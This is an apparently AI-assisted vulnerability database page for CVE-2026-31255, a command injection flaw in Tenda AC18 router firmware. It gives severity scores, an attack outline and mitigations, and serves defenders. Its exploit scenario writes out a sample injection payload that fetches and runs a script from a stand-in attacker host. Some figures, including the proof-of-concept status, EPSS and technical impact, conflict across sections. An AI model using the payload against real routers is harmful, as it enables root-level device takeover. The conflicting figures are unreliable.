Skip to main content

Tenda AC18 CVE-2026-31255

| EUVDEUVD-2026-25898 CRITICAL
Command Injection (CWE-77)
2026-04-27 mitre
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send HTTP POST to /goform/SetSambaCfg
  2. Delivery
    Inject shell metacharacters in guestuser parameter
  3. Exploit
    Router parses unsanitized input into system command
  4. Execution
    Execute arbitrary commands as root
  5. Impact
    Deploy persistent backdoor or exfiltrate credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated exploitation against default configurations of Tenda AC18 firmware V15.03.05.05_multi. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms no special conditions are required-no authentication, no user interaction, no complex configuration prerequisites. The vulnerable /goform/SetSambaCfg endpoint is accessible from the router's web management interface without login when default settings are in place. Exploitation is limited only by network reachability: attackers require HTTP connectivity to the router's management interface, which is typically exposed to LAN clients by default. If remote management is enabled (a common but non-default configuration), the interface becomes accessible from the internet, dramatically expanding the attack surface. The vulnerability does not require the Samba service to be actively configured or enabled-merely having the firmware version installed makes the injection endpoint accessible.

Impact

CVSS 9.8 represents maximum exploitability conditions: network-accessible (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and full impact to confidentiality, integrity, and availability. However, EPSS score of 0.06% (19th percentile) indicates minimal observed exploitation activity in the wild, suggesting this is not yet a mass-exploitation target despite its technical severity. No CISA KEV listing confirms this vulnerability is not confirmed as actively exploited in real-world attacks. The contradiction between extreme CVSS and low EPSS likely reflects limited attacker interest in this specific router model or firmware version, though the technical barriers to exploitation are minimal. The publicly available GitHub proof-of-concept lowers the skill threshold for exploitation but has not yet translated to widespread scanning. From SSVC perspective: exploitation is public (POC), likely automatable given the network vector and simple injection pattern, with total technical impact. Priority depends heavily on asset exposure-internet-facing AC18 routers running this firmware version warrant immediate patching, while LAN-only deployments face reduced but still critical risk from internal attackers or lateral movement scenarios.

Exploit ScenarioDerived

An external attacker scans the internet for Tenda AC18 routers with exposed web management interfaces on default port 80 or 8080. Upon discovering the vulnerable firmware version, the attacker crafts an HTTP POST request to http://[router-ip]/goform/SetSambaCfg with a malicious guestuser parameter containing command injection payloads such as '; wget http://attacker.com/malware.sh -O /tmp/m; sh /tmp/m;'. The router executes this command with root privileges, downloading and executing attacker-controlled scripts. The attacker establishes persistent backdoor access, harvests network credentials stored in router configuration, redirects DNS queries to phishing sites, or uses the compromised router as a pivot point for attacking internal network devices. Publicly available proof-of-concept code on GitHub provides step-by-step exploitation instructions, lowering the barrier for script kiddies and automated scanning campaigns.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 28, 2026

Remote unauthenticated command injection in Tenda AC18 router firmware V15.03.05.05_multi allows complete device compromise via the SetSambaCfg interface. Attackers can execute arbitrary system commands by manipulating the guestuser parameter in HTTP requests to /goform/SetSambaCfg. CVSS 9.8 critical severity with network attack vector and no authentication required. EPSS score of 0.06% (19th percentile) suggests low observed exploitation despite extreme technical severity. Publicly documented exploit proof-of-concept exists on GitHub.

RemediationAI

No vendor-released patch identified at time of analysis-Tenda has not published security advisories or firmware updates addressing CVE-2026-31255 according to available references. Until vendor patches become available, implement these compensating controls: (1) Disable remote management access to the router's web interface-restrict admin panel access to LAN-only connections by disabling WAN-side management in router settings under System Administration or Remote Management; this prevents internet-based exploitation but does not protect against LAN-based attackers. (2) Disable Samba/SMB file sharing functionality entirely if not required for network operations; this removes the vulnerable /goform/SetSambaCfg endpoint from the attack surface but eliminates file sharing capability. (3) Deploy network segmentation to isolate the router's management interface on a dedicated VLAN accessible only to authorized administrators; this reduces exposure but requires additional network infrastructure. (4) Monitor for replacement-consider migrating to alternative router hardware with active security support, as consumer router vendors including Tenda have poor track records for publishing timely security patches for end-of-life firmware. Reference: https://github.com/izxnfirh8148/CVE_REQUESTS_references/blob/main/Tenda_AC18/Tenda_AC18_3th/README.md contains technical details but no remediation guidance.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability affects the Samba/SMB file sharing configuration interface in Tenda AC18 wireless router firmware. The /goform/SetSambaCfg endpoint processes configuration parameters for network file sharing but fails to sanitize the guestuser parameter before passing it to system command execution functions. This is a classic CWE-77 command injection flaw where user-controlled input is concatenated into shell commands without proper escaping or validation. The affected firmware version V15.03.05.05_multi runs on embedded Linux systems typical of consumer routers, where web interfaces execute commands with root privileges. Router management interfaces commonly process configuration parameters through CGI-like handlers that directly invoke system utilities, making command injection particularly dangerous since successful exploitation grants complete administrative control over the device.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
CVSS changed
Apr 28, 2026 - 14:52 NVD
9.8 (CRITICAL)
CVE Published
Apr 27, 2026 - 00:00 nvd
CRITICAL 9.8

DescriptionCVE.org

A command injection vulnerability exists in Tenda AC18 V15.03.05.05_multi. The vulnerability is located in the /goform/SetSambaCfg interface, where improper handling of the guestuser parameter allows attackers to execute arbitrary system commands.

Executive ViewAI

Why It Matters

Tenda AC18 routers running firmware V15.03.05.05_multi contain a critical remote command injection vulnerability (CVE-2026-31255) that allows unauthenticated attackers to gain complete control of affected devices without authentication. Organizations deploying these routers face immediate risk of network compromise, potential data exfiltration, and lateral movement into corporate networks, with public exploit code available to lower technical barriers to attack.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Isolate affected routers on a segregated VLAN with egress filtering; (2) Implement network-based intrusion detection rules to block POST requests to /goform/SetSambaCfg endpoints; (3) Disable remote management and Samba services if not required; (4) Deploy WAF rules to validate and sanitize the guestuser parameter; (5) Monitor for suspicious process execution and outbound connections from router; (6) Implement network segmentation to prevent router compromise from reaching sensitive systems.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Partial

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy